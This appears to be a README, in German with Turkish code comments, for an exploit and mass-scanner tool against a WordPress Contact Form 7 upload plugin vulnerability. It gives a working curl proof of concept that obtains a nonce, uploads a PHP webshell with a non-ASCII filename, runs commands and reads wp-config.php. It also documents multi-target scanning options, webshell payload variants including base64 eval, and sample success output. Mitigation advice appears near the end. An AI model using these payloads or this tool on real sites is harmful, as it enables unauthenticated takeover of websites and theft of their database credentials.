
CVE-2026-5718: Nicht authentifizierter Datei-Upload zu RCE im DnD Upload CF7 Plugin
CVE-2026-5718: Nicht authentifizierter Datei-Upload zu RCE im DnD Upload CF7 Plugin
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HSchwachstellentyp: Unauthenticated Arbitrary File Upload → Remote Code Execution Betroffene Versionen: <= 1.3.9.6 Gepatchte Version: 1.3.9.7 Veröffentlichungsdatum: 17. April 2026 Forscher: Leonid Semenenko (lsemenenko) — Wordfence
Im Plugin Drag and Drop Multiple File Upload for Contact Form 7 führen zwei unabhängige Logikfehler zusammen dazu, dass nicht authentifizierte Angreifer eine PHP-Webshell hochladen können.
Blacklist-Zerstörung: Eine benutzerdefinierte Blacklist-Konfiguration ersetzt die standardmäßige Liste gefährlicher Erweiterungen wird nicht mehr blockiert.
phpNon-ASCII-Bypass: Das Vorhandensein eines Nicht-ASCII-Zeichens im
Dateinamen verhindert den Aufruf der Funktion wpcf7_antiscript_file_name().
Die .php-Erweiterung bleibt erhalten und die Datei wird auf die Festplatte
geschrieben.
| Feld | Wert |
|---|---|
| Plugin-Name | Drag and Drop Multiple File Upload for CF7 |
| CVE ID | CVE-2026-5718 |
| CVSS-Score | 8.1 (High) |
| Schwachstellentyp | Unauthenticated Arbitrary File Upload |
| Betroffene Version | <= 1.3.9.6 |
| Gepatchte Version | 1.3.9.7 |
| Voraussetzung | Benutzerdefinierte blacklist-types-Konfiguration im CF7-Formular |
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
Die Aktion wp_ajax_nopriv__wpcf7_check_nonce ist öffentlich zugänglich.
Beim Senden eines ungültigen Nonce wird kostenlos ein neuer Nonce ausgegeben.
Die curl-Prüfung wird mithilfe eines Mozilla-User-Agents umgangen.
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — MERGE DEĞİL
// Özel liste: sadece ['zip']
// 'php' artık listede YOK → kabul edilir
}
Auslösende Form-Tag-Konfiguration:
[mfile upload-file filetypes="*" blacklist-types:zip]
Der Administrator möchte ZIP blockieren → das Plugin entfernt die gesamte
standardmäßige Denylist. Alle gefährlichen Erweiterungen, einschließlich php,
werden nun akzeptiert.
Zusätzlich ist die hartkodierte Liste für filetypes="*" unvollständig:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Sadece pure-ASCII dosya adları için çağrılır
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII karakter → false → antiscript atlanır
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (curl değil) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce ücretsiz alındı │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce geçerli ✓ │
│ ├── blacklist=['zip'] → 'php' engellenmez ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() ATLANIR ✓ │
│ └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Unauthenticated RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ Haftungsausschluss: Dieses PoC dient ausschließlich zu Bildungs- und Abwehrzwecken im Rahmen der Sicherheitsforschung. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen besitzen.
Voraussetzungen:
[mfile] blacklist-types enthalten:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Erwartete Antwort:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
Erwartete Antwort:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://hedef.com
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| Parameter | Kurz | Beschreibung | Standard |
|---|---|---|---|
--url | -u | Einzelziel-URL | — |
--list | -l | Datei mit Zielliste | — |
--threads | -t | Anzahl der Threads | 10 |
--output | -o | Ausgabedatei | rce_results.txt |
--form-id | — | CF7-Formular-ID | automatische Erkennung |
--field-name | — | mfile-Feldname | upload-file |
--shell-name | — | Shell-Dateiname | shell |
--shell-type | — | Shell-Typ | system |
--verify-cmd | — | RCE-Verifizierungsbefehl | id |
--proxy | — | Proxy-URL | — |
--timeout | — | Anfrage-Timeout (Sek.) | 10 |
--force | — | Auch bei fehlgeschlagener Plugin-Erkennung fortfahren | False |
| Typ | Payload | Beschreibung |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Grundlegender Systembefehl |
passthru | <?php passthru($_GET["cmd"]); ?> | Rohe Ausgabe |
exec | <?php echo exec($_GET["cmd"]); ?> | Stille Ausführung |
assert | <?php assert($_POST["cmd"]); ?> | Eval per POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64-Obfuskation |
full | shell_exec + system + exec fallback | Vollumfassend |
Der Scanner probiert die folgenden Zeichen nacheinander aus:
| Zeichen | Unicode | Beschreibung |
|---|---|---|
シ | U+30B7 | Katakana Si (im PoC verwendet) |
ж | U+0436 | Kyrillisch |
ñ | U+00F1 | Lateinisch, erweitert |
中 | U+4E2D | CJK |
α | U+03B1 | Griechisch |
ß | U+00DF | Deutsch |
WordPress Kök/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← Shell burada
⚠️ Hinweis: Das Plugin löscht Dateien standardmäßig nach 1 Stunde. Die Shell ist in diesem Zeitraum erreichbar.
| Status | Beschreibung |
|---|---|
★ RCE OK | Shell hochgeladen + Befehl ausgeführt |
★ SHELL ALIVE | Shell erreichbar, unterschiedliche Antwort |
~ EXEC_DISABLED | Shell vorhanden, exec() deaktiviert |
~ HTACCESS | Shell hochgeladen, aber .htaccess blockiert |
? UPLOADED | Hochgeladen, aber URL nicht gefunden |
- UPL_FAIL | Upload fehlgeschlagen (gepatcht/keine Konfiguration) |
~ NO_NONCE | Nonce konnte nicht abgerufen werden |
- NO_PLUGIN | Plugin ist nicht installiert |
~ UNREACH | Ziel nicht erreichbar |
[*] Hedef : http://hedef.com
[*] Form ID : otomatik tespit
[*] Shell Tipi : system
[*] Verify CMD : id
[→] http://hedef.com Adım 1/5: Nonce alınıyor...
[→] http://hedef.com Adım 2/5: CF7 form tespiti...
[→] http://hedef.com Adım 3/5: Shell yükleniyor (non-ASCII bypass)...
[→] http://hedef.com Adım 4/5: Shell URL oluşturuluyor...
[→] http://hedef.com Adım 5/5: RCE doğrulanıyor...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
Sürüm : 1.3.9.6
Nonce : abc123def4 (kaynak: ajax_endpoint)
Non-ASCII : シ
Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Kaydedildi → rce_results.txt
| Maßnahme | Umsetzung |
|---|---|
| Plugin-Update | Auf Version 1.3.9.7+ aktualisieren |
| Blacklist-Zusammenführung | array_merge() anstelle von = verwenden |
| Unbedingtes Antiscript | wpcf7_antiscript_file_name() muss immer aufgerufen werden |
| Nonce-Schutz | Der Nonce-Endpunkt muss für den öffentlichen Zugriff gesperrt werden |
| .htaccess | PHP-Ausführung im Upload-Verzeichnis blockieren |
Sichere Blacklist-Zusammenführung:
// Güvensiz (mevcut — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Güvenli (önerilen — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
Unbedingtes Antiscript:
// Güvensiz (mevcut)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Güvenli (önerilen)
$filename = wpcf7_antiscript_file_name( $filename ); // her zaman çağır
.htaccess für das Upload-Verzeichnis:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Dieses Tool und dieses PoC wurden ausschließlich für die Nutzung auf autorisierten Systemen, zu Bildungszwecken und im Rahmen von Penetrationstests erstellt. Die Nutzung auf nicht autorisierten Systemen stellt gemäß den Artikeln 243–245 des türkischen Strafgesetzbuchs und internationalen Gesetzen gegen Cyberkriminalität eine Straftat dar. Der Entwickler übernimmt keinerlei rechtliche Verantwortung für einen Missbrauch des Tools.
MIT-Lizenz — Nur für Bildungs- und Forschungszwecke.